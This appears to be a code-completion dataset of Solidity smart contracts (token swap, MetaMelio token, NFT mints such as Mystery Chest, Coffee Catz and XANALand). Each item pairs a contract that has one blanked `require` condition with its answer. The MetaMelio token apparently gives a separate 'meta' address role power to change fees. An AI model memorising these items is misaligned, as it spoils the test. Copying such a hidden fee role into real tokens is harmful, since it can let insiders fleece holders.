event TokensSwapped(address indexed user, uint256 amountX, uint256 totalAmountY, uint256 exchangeRate);
event TokensClaimed(address indexed user, uint256 claimedAmountY);
event ExchangeRateUpdated(uint256 newExchangeRate);
event TokenYUpdated(address newTokenY);
event SwapTokensEnabled(bool enabled);
event ClaimTokensEnabled(bool enabled);
constructor(IERC20 _tokenX, uint256 _initialExchangeRate, address initialOwner) Ownable(initialOwner) {
}
modifier swapTokensEnabledOnly() {
}
modifier claimTokensEnabledOnly() {
}
function setTokenY(IERC20 _tokenY) external onlyOwner {
}
function depositTokens(uint256 amount) external onlyOwner {
}
function swapTokens(uint256 amount) external swapTokensEnabledOnly {
}
function claimTokens() external claimTokensEnabledOnly {
}
function withdrawTokensX(uint256 amount) external onlyOwner {
require(amount > 0, "Amount must be greater than zero");
require(<FILL_ME>)
}
function withdrawTokensY(uint256 amount) external onlyOwner {
}
function changeOwner(address newOwner) external onlyOwner {
}
function setExchangeRate(uint256 newExchangeRate) external onlyOwner {
}
function enableSwapTokens(bool _enabled) external onlyOwner {
}
function enableClaimTokens(bool _enabled) external onlyOwner {
}
}
| tokenX.transfer(owner(),amount),"Token transfer failed" | 177,515 | tokenX.transfer(owner(),amount) |
"Token transfer failed" | pragma solidity ^0.8.20;
contract TokenSwap is Ownable {
IERC20 public tokenX;
IERC20 public tokenY;
uint256 public exchangeRate;
mapping(address => uint256) public userTokenXAmount;
bool public swapTokensEnabled = true;
bool public claimTokensEnabled = true;
event TokensSwapped(address indexed user, uint256 amountX, uint256 totalAmountY, uint256 exchangeRate);
event TokensClaimed(address indexed user, uint256 claimedAmountY);
event ExchangeRateUpdated(uint256 newExchangeRate);
event TokenYUpdated(address newTokenY);
event SwapTokensEnabled(bool enabled);
event ClaimTokensEnabled(bool enabled);
constructor(IERC20 _tokenX, uint256 _initialExchangeRate, address initialOwner) Ownable(initialOwner) {
}
modifier swapTokensEnabledOnly() {
}
modifier claimTokensEnabledOnly() {
}
function setTokenY(IERC20 _tokenY) external onlyOwner {
}
function depositTokens(uint256 amount) external onlyOwner {
}
function swapTokens(uint256 amount) external swapTokensEnabledOnly {
}
function claimTokens() external claimTokensEnabledOnly {
}
function withdrawTokensX(uint256 amount) external onlyOwner {
}
function withdrawTokensY(uint256 amount) external onlyOwner {
require(amount > 0, "Amount must be greater than zero");
require(<FILL_ME>)
}
function changeOwner(address newOwner) external onlyOwner {
}
function setExchangeRate(uint256 newExchangeRate) external onlyOwner {
}
function enableSwapTokens(bool _enabled) external onlyOwner {
}
function enableClaimTokens(bool _enabled) external onlyOwner {
}
}
| tokenY.transfer(owner(),amount),"Token transfer failed" | 177,515 | tokenY.transfer(owner(),amount) |
"!meta" | // Telegram : https://t.me/MetaMelioMetaverse
// Twitter : https://twitter.com/MetamelioM
// Web : https://MetaMelio.com
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.14;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address _owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface DexFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface DexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
mapping(address => bool) internal melio;
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
modifier meta() {
require(<FILL_ME>) _;
}
function ismeta(address adr) public view returns (bool) {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
contract MetaMelio is Ownable, IERC20 {
using SafeMath for uint256;
string private constant _name = "Meta Melio";
string private constant _symbol = "MTM";
address private constant DEAD = 0x000000000000000000000000000000000000dEaD;
address private constant ZERO = 0x0000000000000000000000000000000000000000;
address private routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint8 private constant _decimals = 18;
uint256 private _totalSupply = 1000000000 * (10**_decimals);
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 public _maxTxAmount = (_totalSupply * 35) / 1000;
uint256 public _walletMax = (_totalSupply * 40) / 1000;
mapping(address => bool) public isFeeExempt;
mapping(address => bool) public isTxLimitExempt;
uint256 public LiqTax = 0;
uint256 public Mtax = 1;
uint256 public devTax = 0;
uint256 public Tfees = 1;
uint256 public totalSellFee = 1;
bool public MBF = true;
bool public MSF = true;
bool public MTF = true;
address private LiquidityWallet;
address private DevelopmentWallet;
address private MarketingWallet;
DexRouter public router;
address public pair;
mapping(address => bool) public isPair;
uint256 public launchedAt;
bool public tradingOpen = true;
bool private inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
bool public swapAndLiquifyByLimitOnly = false;
uint256 public swapThreshold = (_totalSupply * 2) / 1000;
event AutoLiquify(uint256 amountETH, uint256 amountBOG);
modifier lockTheSwap() {
}
constructor() {
}
receive() external payable {}
function name() external pure override returns (string memory) {
}
function symbol() external pure override returns (string memory) {
}
function decimals() external pure override returns (uint8) {
}
function totalSupply() external view override returns (uint256) {
}
function getOwner() external view override returns (address) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function allowance(address holder, address spender)
external
view
override
returns (uint256)
{
}
function getCirculatingSupply() public view returns (uint256) {
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
}
function RedisAndNormalCharge(
uint256 newLPfee,
uint256 newmarketFee,
uint256 newDevelopmentFee,
uint256 extras
) public meta {
}
function removeERC20(address tokenAddress, uint256 tokens)
public
onlyOwner
returns (bool success)
{
}
function removeEther(uint256 amountPercentage) external onlyOwner {
}
function approveMax(address spender) external returns (bool) {
}
function launched() internal view returns (bool) {
}
function launch() internal {
}
function checkTxLimit(address sender, uint256 amount) internal view {
}
function failsCaptcha(address addr) internal view returns (bool) {
}
function transfer(address recipient, uint256 amount)
external
override
returns (bool)
{
}
function _basicTransfer(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
}
function _transferFrom(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
}
function getFee(
address sender,
address recipient,
uint256 amount
) internal returns (uint256) {
}
function swapBackAndPair() internal lockTheSwap {
}
}
| ismeta(msg.sender),"!meta" | 177,565 | ismeta(msg.sender) |
"Mystery Chest: max reserve amount exceeded" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./ERC721A.sol";
contract MysteryChest is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
enum Status {
Pending,
PublicSale,
Finished
}
Status public status;
string public baseURI;
uint256 public tokensReserved;
uint256 public immutable maxMint;
uint256 public immutable maxSupply;
uint256 public immutable reserveAmount;
uint256 public constant PRICE = 3 ether;
bool public isReveal;
mapping(address => bool) public publicMinted;
event Minted(address minter, uint256 amount);
event StatusChanged(Status status);
event ReservedToken(address minter, address recipient, uint256 amount);
event BaseURIChanged(string newBaseURI);
constructor(
string memory initBaseURI,
uint256 _maxBatchSize,
uint256 _collectionSize,
uint256 _reserveAmount
) ERC721A("Mystery Chest", "MC", _maxBatchSize, _collectionSize) {
}
//ipfs://QmafZb6njGmxN57JD2uQUYjNMvyZUcCTkeuQj8ZUK89y99
function _baseURI() internal view override returns (string memory) {
}
function reserve(address recipient, uint256 amount) external onlyOwner {
require(recipient != address(0), "Mystery Chest: zero address");
require(amount > 0, "Mystery Chest: invalid amount");
require(
totalSupply() + amount <= collectionSize,
"Mystery Chest: max supply exceeded"
);
require(<FILL_ME>)
require(
amount % maxBatchSize == 0,
"Mystery Chest: can only mint a multiple of the maxBatchSize"
);
uint256 numChunks = amount / maxBatchSize;
for (uint256 i = 0; i < numChunks; i++) {
_safeMint(recipient, maxBatchSize);
}
tokensReserved += amount;
emit ReservedToken(msg.sender, recipient, amount);
}
function mint(uint256 amount) external payable {
}
function refundIfOver(uint256 price) private {
}
function reveal(string calldata newBaseURI) external onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory){
}
function withdraw() external nonReentrant onlyOwner {
}
function setBaseURI(string calldata newBaseURI) external onlyOwner {
}
function setStatus(Status _status) external onlyOwner {
}
function setOwnersExplicit(uint256 quantity)
external
onlyOwner
nonReentrant
{
}
function numberMinted(address owner) public view returns (uint256) {
}
function getOwnershipData(uint256 tokenId)
external
view
returns (TokenOwnership memory)
{
}
}
| tokensReserved+amount<=reserveAmount,"Mystery Chest: max reserve amount exceeded" | 177,672 | tokensReserved+amount<=reserveAmount |
"Mystery Chest: can only mint a multiple of the maxBatchSize" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./ERC721A.sol";
contract MysteryChest is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
enum Status {
Pending,
PublicSale,
Finished
}
Status public status;
string public baseURI;
uint256 public tokensReserved;
uint256 public immutable maxMint;
uint256 public immutable maxSupply;
uint256 public immutable reserveAmount;
uint256 public constant PRICE = 3 ether;
bool public isReveal;
mapping(address => bool) public publicMinted;
event Minted(address minter, uint256 amount);
event StatusChanged(Status status);
event ReservedToken(address minter, address recipient, uint256 amount);
event BaseURIChanged(string newBaseURI);
constructor(
string memory initBaseURI,
uint256 _maxBatchSize,
uint256 _collectionSize,
uint256 _reserveAmount
) ERC721A("Mystery Chest", "MC", _maxBatchSize, _collectionSize) {
}
//ipfs://QmafZb6njGmxN57JD2uQUYjNMvyZUcCTkeuQj8ZUK89y99
function _baseURI() internal view override returns (string memory) {
}
function reserve(address recipient, uint256 amount) external onlyOwner {
require(recipient != address(0), "Mystery Chest: zero address");
require(amount > 0, "Mystery Chest: invalid amount");
require(
totalSupply() + amount <= collectionSize,
"Mystery Chest: max supply exceeded"
);
require(
tokensReserved + amount <= reserveAmount,
"Mystery Chest: max reserve amount exceeded"
);
require(<FILL_ME>)
uint256 numChunks = amount / maxBatchSize;
for (uint256 i = 0; i < numChunks; i++) {
_safeMint(recipient, maxBatchSize);
}
tokensReserved += amount;
emit ReservedToken(msg.sender, recipient, amount);
}
function mint(uint256 amount) external payable {
}
function refundIfOver(uint256 price) private {
}
function reveal(string calldata newBaseURI) external onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory){
}
function withdraw() external nonReentrant onlyOwner {
}
function setBaseURI(string calldata newBaseURI) external onlyOwner {
}
function setStatus(Status _status) external onlyOwner {
}
function setOwnersExplicit(uint256 quantity)
external
onlyOwner
nonReentrant
{
}
function numberMinted(address owner) public view returns (uint256) {
}
function getOwnershipData(uint256 tokenId)
external
view
returns (TokenOwnership memory)
{
}
}
| amount%maxBatchSize==0,"Mystery Chest: can only mint a multiple of the maxBatchSize" | 177,672 | amount%maxBatchSize==0 |
"Mystery Chest: Max supply exceeded." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./ERC721A.sol";
contract MysteryChest is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
enum Status {
Pending,
PublicSale,
Finished
}
Status public status;
string public baseURI;
uint256 public tokensReserved;
uint256 public immutable maxMint;
uint256 public immutable maxSupply;
uint256 public immutable reserveAmount;
uint256 public constant PRICE = 3 ether;
bool public isReveal;
mapping(address => bool) public publicMinted;
event Minted(address minter, uint256 amount);
event StatusChanged(Status status);
event ReservedToken(address minter, address recipient, uint256 amount);
event BaseURIChanged(string newBaseURI);
constructor(
string memory initBaseURI,
uint256 _maxBatchSize,
uint256 _collectionSize,
uint256 _reserveAmount
) ERC721A("Mystery Chest", "MC", _maxBatchSize, _collectionSize) {
}
//ipfs://QmafZb6njGmxN57JD2uQUYjNMvyZUcCTkeuQj8ZUK89y99
function _baseURI() internal view override returns (string memory) {
}
function reserve(address recipient, uint256 amount) external onlyOwner {
}
function mint(uint256 amount) external payable {
require(status == Status.PublicSale, "Mystery Chest: Public sale is not active.");
require(<FILL_ME>)
_safeMint(msg.sender, amount);
refundIfOver(PRICE * amount);
emit Minted(msg.sender, amount);
}
function refundIfOver(uint256 price) private {
}
function reveal(string calldata newBaseURI) external onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory){
}
function withdraw() external nonReentrant onlyOwner {
}
function setBaseURI(string calldata newBaseURI) external onlyOwner {
}
function setStatus(Status _status) external onlyOwner {
}
function setOwnersExplicit(uint256 quantity)
external
onlyOwner
nonReentrant
{
}
function numberMinted(address owner) public view returns (uint256) {
}
function getOwnershipData(uint256 tokenId)
external
view
returns (TokenOwnership memory)
{
}
}
| totalSupply()+amount+reserveAmount-tokensReserved<=collectionSize,"Mystery Chest: Max supply exceeded." | 177,672 | totalSupply()+amount+reserveAmount-tokensReserved<=collectionSize |
"Sold out!" | pragma solidity ^0.8.9;
contract COCA is ERC721A, Ownable, ReentrancyGuard, ERC2981 {
event DevMintEvent(address ownerAddress, uint256 startWith, uint256 amountMinted);
uint256 public devTotal;
uint256 public _maxSupply = 4444;
uint256 public _mintPrice = 0.002 ether;
uint256 public _maxMintPerTx = 20;
uint256 public _maxFreeMintPerAddr = 1;
uint256 public _maxFreeMintSupply = 1000;
uint256 public devSupply = 244;
using Strings for uint256;
string public baseURI;
mapping(address => uint256) private _mintedFreeAmount;
// Royalties
address public royaltyAdd;
constructor(string memory initBaseURI) ERC721A("Coffee Catz", "COCA") {
}
// Set default royalty account & percentage
function setDefaultRoyalty(address _receiver, uint96 _feeNumerator) public {
}
// Set token specific royalty
function setTokenRoyalty(
uint256 tokenId,
uint96 feeNumerator
) external onlyOwner {
}
function royaltyInfo(uint256 _tokenId, uint256 _salePrice) public view override returns (address, uint256) {
}
// /**
// * @dev See {IERC165-supportsInterface}.
// */
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721A, ERC2981) returns (bool) {
}
function mint(uint256 count) external payable {
uint256 cost = _mintPrice;
bool isFree = ((totalSupply() + count < _maxFreeMintSupply + 1) &&
(_mintedFreeAmount[msg.sender] + count <= _maxFreeMintPerAddr)) ||
(msg.sender == owner());
if (isFree) {
cost = 0;
}
require(msg.value >= count * cost, "Please send the exact amount.");
require(<FILL_ME>)
require(count < _maxMintPerTx + 1, "Max per TX reached.");
if (isFree) {
_mintedFreeAmount[msg.sender] += count;
}
_safeMint(msg.sender, count);
}
function devMint() public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function isApprovedForAll(address owner, address operator)
override
public
view
returns (bool)
{
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setBaseURI(string memory uri) public onlyOwner {
}
function setFreeAmount(uint256 amount) external onlyOwner {
}
function setPrice(uint256 _newPrice) external onlyOwner {
}
function withdraw() public payable onlyOwner nonReentrant {
}
}
| totalSupply()+count<_maxSupply-devSupply+1,"Sold out!" | 177,813 | totalSupply()+count<_maxSupply-devSupply+1 |
"BAD_TOKEN_ADDRESS" | // SPDX-License-Identifier: Apache-2.0.
pragma solidity ^0.6.12;
/*
Common Utility Libraries.
I. Addresses (extending address).
*/
library Addresses {
/*
Note: isContract function has some known limitation.
See https://github.com/OpenZeppelin/
openzeppelin-contracts/blob/master/contracts/utils/Address.sol.
*/
function isContract(address account) internal view returns (bool) {
}
function performEthTransfer(address recipient, uint256 amount) internal {
}
/*
Safe wrapper around ERC20/ERC721 calls.
This is required because many deployed ERC20 contracts don't return a value.
See https://github.com/ethereum/solidity/issues/4116.
*/
function safeTokenContractCall(address tokenAddress, bytes memory callData) internal {
require(<FILL_ME>)
// NOLINTNEXTLINE: low-level-calls.
(bool success, bytes memory returndata) = tokenAddress.call(callData);
require(success, string(returndata));
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "TOKEN_OPERATION_FAILED");
}
}
}
| isContract(tokenAddress),"BAD_TOKEN_ADDRESS" | 177,891 | isContract(tokenAddress) |
"XanaLand: Not whitelisted" | pragma solidity ^0.8.14;
contract XANALand is ProxyBaseStorage, ERC721AQueryable, Ownable, ReentrancyGuard, Storage {
using Strings for uint256;
using Address for address;
constructor(
string memory _name,
string memory _symbol
) ERC721A(_name, _symbol){}
function mintNFT(address to,uint256 _mintAmount, string memory rarity, uint256 _size, bool isDiscount) internal {
}
function calculateDiscount(uint256 _size, string memory rarity) public view returns(uint256) {
}
//Discounted Mint Function
function mintDiscountCommon(uint256 _mintAmount, bytes32[] calldata proof) checkSupply(_mintAmount,4, "Common") external payable {
string memory rarity = "Common";
uint256 _size=1;
//Check user buy limit merkle tree
require(<FILL_ME>)
_userBought[4][msg.sender] += _mintAmount;
//check user purchase amount
require(msg.value >= SafeMath.mul(calculateDiscount(_size,rarity),_mintAmount), "XanaLand: Paid amount insufficient");
mintNFT(msg.sender,_mintAmount, rarity, _size, true);
}
function checkWhiteList( uint256 _mintAmount, bytes32[] calldata proof, uint256 whitelistType, bool isLimit) nonReentrant internal returns (bool){
}
//Mint Common Category
function mintLand(string memory rarity,uint256 _mintAmount, uint256 _size, bytes32[] calldata proof, bool isLimit, uint256 whitelistType) checkSupply(_mintAmount,_size, rarity) external payable {
}
//Only for staking Users
function freeMint(uint256 _mintAmount, bytes32[] calldata proof) checkSupply(_mintAmount, 5, "Common") external{
}
// internal
function _baseURI() internal override view virtual returns (string memory) {
}
function tokenURI(uint256 tokenId) public override view virtual returns (string memory) {
}
//Merkle tree whitelist methods
function isWhitelisted(address account, bytes32[] calldata proof, uint256 quantity, uint256 typeWhitelist) public view returns (bool) {
}
function _leaf(address account, uint256 quantity) public pure returns (bytes32) {
}
function _verify(bytes32 leaf,bytes32[] memory proof,bytes32 root) internal pure returns (bool) {
}
//only owner methods
//set whitelist
function setWhitelistRoot(bytes32 newWhitelistroot, uint256 typeWhitelist, uint256 startTime, uint256 endTime, uint256 supply, string[] memory rarties) public onlyOwner {
}
function removeWhiteList(uint256 typeWhitelist, string memory rarity) public onlyOwner {
}
//Set max supply of land ( = 75330 )
function setMaxMintAmount(uint256 _newMaxMintAmount) public onlyOwner {
}
//OffCHain metaData uri settings
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
//Set discount percentage
function setDiscount(uint256 percentage) public onlyOwner {
}
//0 = Sale not started
//1 = Only whitelisted/Staking
//2 = Public Sale
function setSaleStatus(uint256 _status) public onlyOwner {
}
function setPerTransactionLimit(uint256 limit) public onlyOwner {
}
//Set max supply, cost per category and size.
function setRate(uint256 _size, uint256 _cost, uint256 _total, string memory _rarity) public onlyOwner {
}
function setLockUp(uint256[] memory _nftIds,uint256[] memory _timestamps) public onlyOwner{
}
//to withdraw funds
function withdraw() public onlyOwner {
}
function mintAdmin(address to_, uint256 countNFTs_, uint256 _size, string memory rarity) checkSupply(countNFTs_,_size, rarity) public onlyOwner {
}
}
| checkWhiteList(_mintAmount,proof,4,true),"XanaLand: Not whitelisted" | 177,926 | checkWhiteList(_mintAmount,proof,4,true) |
"Xanaland: not open" | pragma solidity ^0.8.14;
contract XANALand is ProxyBaseStorage, ERC721AQueryable, Ownable, ReentrancyGuard, Storage {
using Strings for uint256;
using Address for address;
constructor(
string memory _name,
string memory _symbol
) ERC721A(_name, _symbol){}
function mintNFT(address to,uint256 _mintAmount, string memory rarity, uint256 _size, bool isDiscount) internal {
}
function calculateDiscount(uint256 _size, string memory rarity) public view returns(uint256) {
}
//Discounted Mint Function
function mintDiscountCommon(uint256 _mintAmount, bytes32[] calldata proof) checkSupply(_mintAmount,4, "Common") external payable {
}
function checkWhiteList( uint256 _mintAmount, bytes32[] calldata proof, uint256 whitelistType, bool isLimit) nonReentrant internal returns (bool){
require(<FILL_ME>)
require(whitelistRoot[whitelistType].endTime >= block.timestamp, "Xanaland: sale ended");
// require(whitelistRoot[whitelistType].supply >= whitelistRoot[whitelistType].sold + _mintAmount, "Xanaland: whitelist sold out");
uint256 userBuyCount = isLimit ? _userBought[whitelistType][msg.sender] + _mintAmount : 0;
// whitelistRoot[whitelistType].sold += _mintAmount;
return status != 1 || isWhitelisted(msg.sender, proof, userBuyCount, whitelistType);
}
//Mint Common Category
function mintLand(string memory rarity,uint256 _mintAmount, uint256 _size, bytes32[] calldata proof, bool isLimit, uint256 whitelistType) checkSupply(_mintAmount,_size, rarity) external payable {
}
//Only for staking Users
function freeMint(uint256 _mintAmount, bytes32[] calldata proof) checkSupply(_mintAmount, 5, "Common") external{
}
// internal
function _baseURI() internal override view virtual returns (string memory) {
}
function tokenURI(uint256 tokenId) public override view virtual returns (string memory) {
}
//Merkle tree whitelist methods
function isWhitelisted(address account, bytes32[] calldata proof, uint256 quantity, uint256 typeWhitelist) public view returns (bool) {
}
function _leaf(address account, uint256 quantity) public pure returns (bytes32) {
}
function _verify(bytes32 leaf,bytes32[] memory proof,bytes32 root) internal pure returns (bool) {
}
//only owner methods
//set whitelist
function setWhitelistRoot(bytes32 newWhitelistroot, uint256 typeWhitelist, uint256 startTime, uint256 endTime, uint256 supply, string[] memory rarties) public onlyOwner {
}
function removeWhiteList(uint256 typeWhitelist, string memory rarity) public onlyOwner {
}
//Set max supply of land ( = 75330 )
function setMaxMintAmount(uint256 _newMaxMintAmount) public onlyOwner {
}
//OffCHain metaData uri settings
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
//Set discount percentage
function setDiscount(uint256 percentage) public onlyOwner {
}
//0 = Sale not started
//1 = Only whitelisted/Staking
//2 = Public Sale
function setSaleStatus(uint256 _status) public onlyOwner {
}
function setPerTransactionLimit(uint256 limit) public onlyOwner {
}
//Set max supply, cost per category and size.
function setRate(uint256 _size, uint256 _cost, uint256 _total, string memory _rarity) public onlyOwner {
}
function setLockUp(uint256[] memory _nftIds,uint256[] memory _timestamps) public onlyOwner{
}
//to withdraw funds
function withdraw() public onlyOwner {
}
function mintAdmin(address to_, uint256 countNFTs_, uint256 _size, string memory rarity) checkSupply(countNFTs_,_size, rarity) public onlyOwner {
}
}
| whitelistRoot[whitelistType].startTime<=block.timestamp,"Xanaland: not open" | 177,926 | whitelistRoot[whitelistType].startTime<=block.timestamp |
"Xanaland: sale ended" | pragma solidity ^0.8.14;
contract XANALand is ProxyBaseStorage, ERC721AQueryable, Ownable, ReentrancyGuard, Storage {
using Strings for uint256;
using Address for address;
constructor(
string memory _name,
string memory _symbol
) ERC721A(_name, _symbol){}
function mintNFT(address to,uint256 _mintAmount, string memory rarity, uint256 _size, bool isDiscount) internal {
}
function calculateDiscount(uint256 _size, string memory rarity) public view returns(uint256) {
}
//Discounted Mint Function
function mintDiscountCommon(uint256 _mintAmount, bytes32[] calldata proof) checkSupply(_mintAmount,4, "Common") external payable {
}
function checkWhiteList( uint256 _mintAmount, bytes32[] calldata proof, uint256 whitelistType, bool isLimit) nonReentrant internal returns (bool){
require(whitelistRoot[whitelistType].startTime <= block.timestamp, "Xanaland: not open");
require(<FILL_ME>)
// require(whitelistRoot[whitelistType].supply >= whitelistRoot[whitelistType].sold + _mintAmount, "Xanaland: whitelist sold out");
uint256 userBuyCount = isLimit ? _userBought[whitelistType][msg.sender] + _mintAmount : 0;
// whitelistRoot[whitelistType].sold += _mintAmount;
return status != 1 || isWhitelisted(msg.sender, proof, userBuyCount, whitelistType);
}
//Mint Common Category
function mintLand(string memory rarity,uint256 _mintAmount, uint256 _size, bytes32[] calldata proof, bool isLimit, uint256 whitelistType) checkSupply(_mintAmount,_size, rarity) external payable {
}
//Only for staking Users
function freeMint(uint256 _mintAmount, bytes32[] calldata proof) checkSupply(_mintAmount, 5, "Common") external{
}
// internal
function _baseURI() internal override view virtual returns (string memory) {
}
function tokenURI(uint256 tokenId) public override view virtual returns (string memory) {
}
//Merkle tree whitelist methods
function isWhitelisted(address account, bytes32[] calldata proof, uint256 quantity, uint256 typeWhitelist) public view returns (bool) {
}
function _leaf(address account, uint256 quantity) public pure returns (bytes32) {
}
function _verify(bytes32 leaf,bytes32[] memory proof,bytes32 root) internal pure returns (bool) {
}
//only owner methods
//set whitelist
function setWhitelistRoot(bytes32 newWhitelistroot, uint256 typeWhitelist, uint256 startTime, uint256 endTime, uint256 supply, string[] memory rarties) public onlyOwner {
}
function removeWhiteList(uint256 typeWhitelist, string memory rarity) public onlyOwner {
}
//Set max supply of land ( = 75330 )
function setMaxMintAmount(uint256 _newMaxMintAmount) public onlyOwner {
}
//OffCHain metaData uri settings
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
//Set discount percentage
function setDiscount(uint256 percentage) public onlyOwner {
}
//0 = Sale not started
//1 = Only whitelisted/Staking
//2 = Public Sale
function setSaleStatus(uint256 _status) public onlyOwner {
}
function setPerTransactionLimit(uint256 limit) public onlyOwner {
}
//Set max supply, cost per category and size.
function setRate(uint256 _size, uint256 _cost, uint256 _total, string memory _rarity) public onlyOwner {
}
function setLockUp(uint256[] memory _nftIds,uint256[] memory _timestamps) public onlyOwner{
}
//to withdraw funds
function withdraw() public onlyOwner {
}
function mintAdmin(address to_, uint256 countNFTs_, uint256 _size, string memory rarity) checkSupply(countNFTs_,_size, rarity) public onlyOwner {
}
}
| whitelistRoot[whitelistType].endTime>=block.timestamp,"Xanaland: sale ended" | 177,926 | whitelistRoot[whitelistType].endTime>=block.timestamp |
"XanaLand: Plot size not valid" | pragma solidity ^0.8.14;
contract XANALand is ProxyBaseStorage, ERC721AQueryable, Ownable, ReentrancyGuard, Storage {
using Strings for uint256;
using Address for address;
constructor(
string memory _name,
string memory _symbol
) ERC721A(_name, _symbol){}
function mintNFT(address to,uint256 _mintAmount, string memory rarity, uint256 _size, bool isDiscount) internal {
}
function calculateDiscount(uint256 _size, string memory rarity) public view returns(uint256) {
}
//Discounted Mint Function
function mintDiscountCommon(uint256 _mintAmount, bytes32[] calldata proof) checkSupply(_mintAmount,4, "Common") external payable {
}
function checkWhiteList( uint256 _mintAmount, bytes32[] calldata proof, uint256 whitelistType, bool isLimit) nonReentrant internal returns (bool){
}
//Mint Common Category
function mintLand(string memory rarity,uint256 _mintAmount, uint256 _size, bytes32[] calldata proof, bool isLimit, uint256 whitelistType) checkSupply(_mintAmount,_size, rarity) external payable {
require(<FILL_ME>)
require(isWhitelistFor[whitelistType][rarity], "XanaLand: Invalid");
if(status == 2) require(whitelistType == 0, "XanaLand: only public sale");
else require(whitelistType != 0, "XanaLand: ");
require(checkWhiteList(_mintAmount, proof, whitelistType, isLimit), "XanaLand: Not whitelisted");
//Check user buy limit merkle t
_userBought[whitelistType][msg.sender] += _mintAmount;
//check user purchase amount
require(msg.value >= SafeMath.mul(rates[_size][rarity].cost,_mintAmount), "XanaLand: Paid amount insufficient");
//Minting Land NFTs as per sent amount above
mintNFT(msg.sender,_mintAmount, rarity, _size, false);
}
//Only for staking Users
function freeMint(uint256 _mintAmount, bytes32[] calldata proof) checkSupply(_mintAmount, 5, "Common") external{
}
// internal
function _baseURI() internal override view virtual returns (string memory) {
}
function tokenURI(uint256 tokenId) public override view virtual returns (string memory) {
}
//Merkle tree whitelist methods
function isWhitelisted(address account, bytes32[] calldata proof, uint256 quantity, uint256 typeWhitelist) public view returns (bool) {
}
function _leaf(address account, uint256 quantity) public pure returns (bytes32) {
}
function _verify(bytes32 leaf,bytes32[] memory proof,bytes32 root) internal pure returns (bool) {
}
//only owner methods
//set whitelist
function setWhitelistRoot(bytes32 newWhitelistroot, uint256 typeWhitelist, uint256 startTime, uint256 endTime, uint256 supply, string[] memory rarties) public onlyOwner {
}
function removeWhiteList(uint256 typeWhitelist, string memory rarity) public onlyOwner {
}
//Set max supply of land ( = 75330 )
function setMaxMintAmount(uint256 _newMaxMintAmount) public onlyOwner {
}
//OffCHain metaData uri settings
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
//Set discount percentage
function setDiscount(uint256 percentage) public onlyOwner {
}
//0 = Sale not started
//1 = Only whitelisted/Staking
//2 = Public Sale
function setSaleStatus(uint256 _status) public onlyOwner {
}
function setPerTransactionLimit(uint256 limit) public onlyOwner {
}
//Set max supply, cost per category and size.
function setRate(uint256 _size, uint256 _cost, uint256 _total, string memory _rarity) public onlyOwner {
}
function setLockUp(uint256[] memory _nftIds,uint256[] memory _timestamps) public onlyOwner{
}
//to withdraw funds
function withdraw() public onlyOwner {
}
